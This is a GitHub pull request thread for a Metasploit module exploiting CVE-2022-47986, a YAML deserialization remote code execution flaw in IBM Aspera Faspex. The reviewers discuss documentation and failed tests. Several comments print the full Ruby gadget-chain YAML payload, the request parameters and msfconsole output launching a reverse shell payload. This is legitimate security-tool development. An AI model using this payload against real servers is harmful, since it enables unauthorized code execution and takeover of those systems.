Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[exploit][RCE][CVE-2022-47986] IBM aspera faspex YAML deserialization #17760

Conversation

mauricelambert
Copy link
Contributor

@mauricelambert mauricelambert commented Mar 9, 2023

Fixes #17759

  • Adds a module for exploiting CVE-2022-47986 a YAML deserialization that causes an RCE in IBM Aspera Faspex

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization
  • set RHOST <ip>
  • set LHOST <ip>
  • exploit

Output

msf6 > use exploits/linux/http/ibm_aspera_faspex_rce_yaml_deserialization
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > set RHOST 172.17.0.2
RHOST => 172.17.0.2
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/ibm_aspera_faspex_rce_yaml_deserialization) > exploit
[*] Exploiting target 172.17.0.2

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Sending linux/x64/meterpreter/reverse_tcp command payload
[!] This exploit may require manual cleanup of '/tmp/VmehKS' on the target

@gwillcox-r7 gwillcox-r7 added needs-docs needs-linting The module needs additional work to pass our automated linting rules labels Mar 9, 2023
@github-actions
Copy link

github-actions bot commented Mar 9, 2023

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@github-actions
Copy link

github-actions bot commented Mar 9, 2023

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

@gwillcox-r7
Copy link
Contributor

This is missing testing directions and other additional information typically asked for in the template document when submitting a PR request for a module submission. Please update this PR with this information.

@mauricelambert
Copy link
Contributor Author

This is missing testing directions and other additional information typically asked for in the template document when submitting a PR request for a module submission. Please update this PR with this information.

I fix my pull request and write a description based on the pull-request template.

@gwillcox-r7
Copy link
Contributor

This is missing testing directions and other additional information typically asked for in the template document when submitting a PR request for a module submission. Please update this PR with this information.

I fix my pull request and write a description based on the pull-request template.

Thanks, PR description looks good. Will await linting updates and inclusion of the documentation file into this PR.

@space-r7 space-r7 self-assigned this Apr 21, 2023
@space-r7
Copy link
Contributor

Hey @mauricelambert, thanks for the module! Could you happen to add a few details regarding how you tested this module? What version of the software did you test against? I'm currently testing with 4.4.1, and am getting errors with the module and original poc. Thanks!

@mauricelambert
Copy link
Contributor Author

Hey @mauricelambert, thanks for the module! Could you happen to add a few details regarding how you tested this module? What version of the software did you test against? I'm currently testing with 4.4.1, and am getting errors with the module and original poc. Thanks!

Hey @space-r7, thanks for the review ! Yes, i can add few details:

  • do you use ruby in version 1.9.3 ?
  • I see this post on attackerkb, rapid7 have already check the payload because i have compared my payload and is the same.
  • The nist, github and packetstorm confirms that my payload is working

Copy link
Contributor

@space-r7 space-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi, sorry for the delay in getting back to this!

  • do you use ruby in version 1.9.3 ?

Yep

faspex]$ ruby --version
ruby 1.9.3p327 (2012-11-10 revision 37606) [x86_64-linux]

It may be something else with my environment, as I'm getting the following when I attempt to exploit with the original poc.

python3 poc.py http://192.168.140.163:3000 'whoami'
undefined method `each' for #<Syck::Object:0x00000002393828>

I see that you're using the same payload as the original poc, but I'm mostly asking for documentation on how to install a vulnerable version of IBM Aspera and what the module looks like on a successful run. Adding these details will help get your module across the finish line and will help future users of your module. Thanks!

@space-r7 space-r7 removed their assignment Jun 16, 2023
@gwillcox-r7
Copy link
Contributor

@mauricelambert Any update on the request from Shelby above r.e documentation?

@mauricelambert
Copy link
Contributor Author

mauricelambert commented Jun 26, 2023

@mauricelambert Any update on the request from Shelby above r.e documentation?

I can't reproduce this error, it's probably an error with Syck version or the yaml parser version. Without the error, I can't debug it.

I wrote the POC to test my servers for this vulnerability. I used nmap to easily test all my servers, but nmap does not accept pull requests for exploits. I think metasploit is the right place to share exploits, to help pentesters, SOC analysts and administrators. As there is a good code review on pull requests these people can trust the source code for their security (there is no malicious code in the source code) and quality (the exploit must work to be merged). So i don't have a lab for this vulnerability. I share this exploit to help others who want to test their servers for this exploit.

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Jun 26, 2023

@mauricelambert Any update on the request from Shelby above r.e documentation?

I can't reproduce this error, it's probably an error with Syck version or the yaml parser version. Without the error, I can't debug it.

I wrote the POC to test my servers for this vulnerability. I used nmap to easily test all my servers, but nmap does not accept pull requests for exploits. I think metasploit is the right place to share exploits, to help pentesters, SOC analysts and administrators. As there is a good code review on pull requests these people can trust the source code for their security (there is no malicious code in the source code) and quality (the exploit must work to be merged). So i don't have a lab for this vulnerability. I share this exploit to help others who want to test their servers for this exploit.

Unfortunately we do require a documentation file of some sort for exploits to be accepted into the framework. Presently this PR does not contain any documentation files. These files would require some sort of setup instructions to allow other people to set up their own targets however we would also accept a PCAP of successful exploitation for targets that might be expensive or complex to set up correctly.

@gwillcox-r7 gwillcox-r7 added blocked Blocked by one or more additional tasks and removed blocked Blocked by one or more additional tasks labels Jun 30, 2023
@jheysel-r7 jheysel-r7 self-assigned this Jul 12, 2023
@jheysel-r7
Copy link
Contributor

Hey @mauricelambert, thanks of the module. I think this would be a great addition to the framework and would be happy to help make the necessary additions to get this landed. I'm currently running into some issues and was wondering if I could get some guidance.

I've got version v4.4.1.178477 running on CentOS 7. I was able to run the payload in irb as was done in this AKB anaylsis

Running payload in irb

[root@localhost faspex]# ruby --version
ruby 1.9.3p327 (2012-11-10 revision 37606) [x86_64-linux]
[root@localhost faspex]# irb
irb(main):001:0> require 'yaml'
=> true
irb(main):002:0> require 'pp'
=> true
irb(main):003:0>  require 'net/http'
=> true
irb(main):004:0> require 'rubygems/installer'
=> true
irb(main):005:0> YAML.load(File.read('./test.yml'))
Errno::ENOENT: No such file or directory - ./test.yml
	from (irb):5:in `read'
	from (irb):5
	from /usr/local/rvm/rubies/ruby-1.9.3-p327/bin/irb:12:in `<main>'
irb(main):006:0> YAML.load(File.read('./test.yml'))
ArgumentError: uncaught throw "uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023\n"

When running the module I was getting and error caused by a malformed relay.params hash on the server side:

Package-relay error: missing "package_file_list"
/opt/aspera/faspex/lib/multi_server/relay_descriptor.rb:45:in `block in require_required_keys'

Caused by the module sending an unformatted payload hash. With a couple changes (a336652) I was able to satisfy the require_keys check in /aspera/faspex/lib/multi_server/relay_descriptor.rb and was able to get the YAML.load(enc_emails) sink to run.

However I'm not able to get code execution through the module (despite being able to via irb testing).

Stack trace from server
============== Required Keys  ================
[:package_file_list, :package_name, :package_note, :original_sender_name, :package_uuid, :metadata_human_readable, :forward, :metadata_json, :delivery_uuid, :delivery_sender_name, :delivery_uuid, :delivery_title, :delivery_note, :delete_after_download, :delete_after_download_condition]
============== relay.params[:package_file_list]  ================
["/"]
  EPackagePath Columns (0.7ms)   SHOW FIELDS FROM `e_package_paths`
============= enc_emails (YAML file containing payload) ==============
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "pew"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:PrettyPrint
             output: !ruby/object:Net::WriteAdapter
                 socket: &1 !ruby/module "Kernel"
                 method_id: :eval
             newline: "throw `touch /tmp/test`"
             buffer: {}
             group_stack:
              - !ruby/object:PrettyPrint::Group
                break: true
         method_id: :breakable
============ about to run: YAML.load(enc_emails)  ==============
Package-relay error: undefined method `each' for #<Syck::Object:0x007f4e600cfef8>
/usr/local/rvm/rubies/ruby-1.9.3-p327/lib/ruby/1.9.1/rubygems/requirement.rb:191:in `fix_syck_default_key_in_requirements'
/usr/local/rvm/rubies/ruby-1.9.3-p327/lib/ruby/1.9.1/rubygems/requirement.rb:141:in `yaml_initialize'
/usr/local/rvm/rubies/ruby-1.9.3-p327/lib/ruby/1.9.1/syck.rb:135:in `transfer'
/usr/local/rvm/rubies/ruby-1.9.3-p327/lib/ruby/1.9.1/syck.rb:135:in `node_import'
/usr/local/rvm/rubies/ruby-1.9.3-p327/lib/ruby/1.9.1/syck.rb:135:in `load'
/usr/local/rvm/rubies/ruby-1.9.3-p327/lib/ruby/1.9.1/syck.rb:135:in `load'
/opt/aspera/faspex/lib/multi_server/relay_descriptor.rb:33:in `parse'
/opt/aspera/faspex/lib/multi_server/relay_descriptor.rb:21:in `params='
/opt/aspera/faspex/lib/multi_server/relay_descriptor.rb:13:in `initialize'
/opt/aspera/faspex/app/controllers/package_relay_controller.rb:14:in `new'
/opt/aspera/faspex/app/controllers/package_relay_controller.rb:14:in `relay_package'
/opt/aspera/faspex/vendor/rails/actionpack/lib/action_controller/base.rb:1333:in `perform_action'

Logging additions to server


   def self.parse(relay)
      file_list = relay.params[:package_file_list]
      relay.package_paths = file_list.collect{ |p|
        EPackagePath.new(:e_uploader_local_path => p.gsub(/\\/, '/'))
      }
      enc_emails = relay.params.delete(:external_emails)
      Rails.logger.info("============= enc_emails (YAML file containing payload) ==============")
      Rails.logger.info(enc_emails)
      Rails.logger.info("============ about to run: YAML.load(enc_emails)  ==============")
      relay.external_emails = YAML.load(enc_emails)
      Rails.logger.info("============= RCE complete ============")
      relay.encryption = EConfiguration.require_ear?
    end

   def self.require_required_keys(relay)
      Rails.logger.info("============== Required Keys  ================")
      Rails.logger.info(required_keys)
      Rails.logger.info("============== relay.params[:package_file_list]  ================")
      Rails.logger.info(relay.params[:package_file_list])
      required_keys.each do |rkey|
        missing_rkey = relay.params[rkey].nil?
        raise InvalidRelayParameters, "missing #{rkey.to_s.inspect}" if missing_rkey
      end
    end

Here's where the stack trace is being thrown from - from my understanding this is the actual gadget being used by the exploit.

requirements.br

188   def fix_syck_default_key_in_requirements
189     Gem.load_yaml
190     # Fixup the Syck DefaultKey bug
191     @requirements.each do |r|
192       if r[0].kind_of? Gem::SyckDefaultKey
193         r[0] = "="
194       end
195     end
196   end

I'm wondering if you might have any suggestions? Any help would be appreciated. Looking forward to hearing from you.

uuid = SecureRandom.uuid

payload = {
"package_file_list[]": '/',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This was my doing and seems like a bit of a hack. When defining package_file_list like so:
package_file_list: ["/"] the fact that its defined as an array seems to be ignored by URI.encode_www_form and I was getting an error from the application as it expected package_file_list to be an array. I've included an example below.

irb example

3.0.0 :003 > hash = {
3.0.0 :004 >   "package_file_list" => ["/"],  # Encapsulate the value in an array
3.0.0 :005 >   "external_emails" => "---\n- !ruby/object:Gem::Installer\n    i: x\n- !ruby/object:Gem::SpecFetcher\n    i: y\n- !ruby/object:Gem::Requirement\n  requirements:\n
  !ruby/object:Gem::Package::TarReader\n    io: &1 !ruby/object:Net::BufferedIO\n      io: &1 !ruby/object:Gem::Package::TarReader::Entry\n         read: 0\n         header: \"pe
w\"\n      debug_output: &1 !ruby/object:Net::WriteAdapter\n         socket: &1 !ruby/object:PrettyPrint\n             output: !ruby/object:Net::WriteAdapter\n                 so
cket: &1 !ruby/module \"Kernel\"\n                 method_id: :eval\n             newline: \"throw `touch /tmp/foobar`\"\n             buffer: {}\n             group_stack:\n
          - !ruby/object:PrettyPrint::Group\n                break: true\n         method_id: :breakable\n",
3.0.0 :006 >   "package_name" => "assetnote_pack",
3.0.0 :007 >   "package_note" => "hello from assetnote team",
3.0.0 :008 >   "original_sender_name" => "assetnote",
3.0.0 :009 >   "package_uuid" => "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
3.0.0 :010 >   "metadata_human_readable" => "Yes",
3.0.0 :011 >   "forward" => "pew",
3.0.0 :012 >   "metadata_json" => "{}",
3.0.0 :013 >   "delivery_uuid" => "d7cb6601-6db9-43aa-8e6b-dfb4768647ec",
3.0.0 :014 >   "delivery_sender_name" => "assetnote",
3.0.0 :015 >   "delivery_title" => "TEST",
3.0.0 :016 >   "delivery_note" => "TEST",
3.0.0 :017 >   "delete_after_download" => true,
3.0.0 :018 >   "delete_after_download_condition" => "IDK"
3.0.0 :019 > }
 =>
{"package_file_list"=>["/"],
...
3.0.0 :020 >
3.0.0 :021 > encoded_params = URI.encode_www_form(hash)
 => "package_file_list=%2F&external_emails=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2...
3.0.0 :022 >

This satisfied the server as it expects package_file_list%5B%5D=%2F not what is generated above.

@jheysel-r7 jheysel-r7 removed the needs-linting The module needs additional work to pass our automated linting rules label Jul 14, 2023
@mauricelambert
Copy link
Contributor Author

Thanks @jheysel-r7 ! Your help is welcome and your commits are very cool (I liked your code) !

@jheysel-r7
Copy link
Contributor

Hey @mauricelambert, I was just revisiting this PR and was unfortunately unable to get this module working with the target I have setup. I was wondering if you might be able to run the module with the changes I added and send us the module output (so we can add it to a documentation file) and then also send either a pcap of the module working or a screen recording to prove it's functionality.

Please let me know, I think this would be a great addition to the framework and would be happy to help get it landed.

@jheysel-r7 jheysel-r7 added the attic Older submissions that we still want to work on again label Oct 5, 2023
@github-actions
Copy link

github-actions bot commented Oct 5, 2023

Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it attic and closed it for now.

What does this generally mean? It could be one or more of several things:

  • It doesn't look like there has been any activity on this pull request in a while
  • We may not have the proper access or equipment to test this pull request, or the contributor doesn't have time to work on it right now.
  • Sometimes the implementation isn't quite right and a different approach is necessary.

We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this!

@github-actions github-actions bot closed this Oct 5, 2023
@jheysel-r7 jheysel-r7 removed their assignment Oct 5, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
attic Older submissions that we still want to work on again module needs-docs
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

[CVE-2022-47986] Deserialization vulnerability in IBM Aspera Faspex
6 participants